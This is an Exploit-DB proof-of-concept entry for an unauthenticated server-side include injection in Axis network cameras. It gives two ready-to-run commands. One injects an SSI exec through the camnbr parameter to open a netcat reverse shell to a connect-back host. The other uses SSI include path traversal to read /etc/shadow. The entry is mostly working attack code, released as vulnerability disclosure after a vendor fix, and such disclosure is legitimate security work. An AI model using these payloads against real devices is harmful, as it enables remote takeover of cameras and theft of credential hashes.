EDB-ID: 43984 | Author: bashis | Published: 2017-10-20 | CVE: N/A | Type: Remote | Platform: Multiple | Aliases: N/A | Advisory/Source: Link | Tags: N/A | Vulnerable App: N/A |
Subject: SSI Remote Execute and Read Files
Researcher: bashis <mcw noemail eu> (August 2016)
Release date: October, 2017 (Old stuff that I've forgotten, fixed Q3/2016 by Axis)
Attack Vector: Remote
Authentication: Anonymous (no credentials needed)
Conditions: The cam must be configure to allow anonymous view
Execute remote commands (PoC: Connect back shell):
echo -en "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%20<CONNECT BACK IP>%20<CONNECT BACK PORT>%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0\n\n" | ncat <TARGET IP> <TARGET PORT>
Notes:
<CONNECT BACK IP> = LHOST IP
<CONNECT BACK PORT> = LHOST PORT
<TARGET IP> = RHOST IP
<TARGET PORT> RHOST PORT
Read remote files (PoC: Read /etc/shadow - check top of the returned output):
echo -en "GET /incl/image_test.shtml?camnbr=%3c%21--%23include%20virtual=%22../../etc/shadow%22%20--%3e HTTP/1.0\n\n" | ncat <TARGET IP> <TARGET PORT>
Notes:
<TARGET IP> = RHOST IP
<TARGET PORT> RHOST PORT
[ETX]
